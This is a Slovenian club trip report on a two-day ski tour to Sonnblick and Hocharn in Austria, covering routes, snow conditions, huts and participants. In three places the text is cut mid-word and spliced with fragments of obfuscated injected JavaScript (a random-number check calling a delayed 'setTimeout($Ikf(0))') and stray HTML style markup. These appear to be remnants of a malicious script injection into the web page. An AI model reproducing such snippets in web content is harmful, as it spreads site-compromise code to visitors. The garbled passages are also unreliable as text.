Zadnji vikend je bil splošno gledano uspešna zgodba, povsod se je nekaj dogajalo in uspevalo… tudi nam! Planirana tura po zaslugi Perota Oštirjevega iz Logatca se je prav lepo izšla. V soboto smo se v zmernem tempu povzpeli na Sonnblick iz smeri Heiligenbluta, dolina Fleistal, se v koči konsolidirali in ujeli srečen trenutek, ko sta dva domačina odsmučala v dolino Rauris. Lepo smo jima sledili (to sta opazila in bila dokaj uvidevna) in tako odsmučali po idealnih prehodih do koče Naturfriendshutte. Smuke je bilo za celih 1500 višincev, čista uživancija, proti dnu doline okoli 30 cm pršiča… Prenočimo v koči v skladu z vsemi avstrijskimi standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andardi (tudi harmonika in pomprdon v živo;)). Zjutraj se po dilemi ali si drznemo na Hocharn, glede na to da gor še ni špure, vseeno odločimo da zadeva izgleda logična in poskusimo. Šlo je tako rekoč gladko, prvinski stik z goro brez predhodnih sledi, špuro smo vlekli iz 1600 na 3254 in delo opravili v cca 5 urah. Potem je sledil še spust na izhodišče, sprva zgoraj po trdem predelanem snegu, nižje pa po ravno prav odpuščenem srencu na s popoldanskim soncem obsijanih pobočjih… Velikopotezna tura, oskrbnik koče v Raurisu je komentiral: “Aaa, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande’, tahoma, verdana, arial, sans-serif;”>sehr sportlich…”

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande’, tahoma, verdana, arial, sans-serif;”>Uživali smo Pero iz Logatca, Primož iz Medvod, Roman Polanski, Barbara, Tatjana, Boris, Robert (Brezovica city) in jaz iz AS Ajdovščina.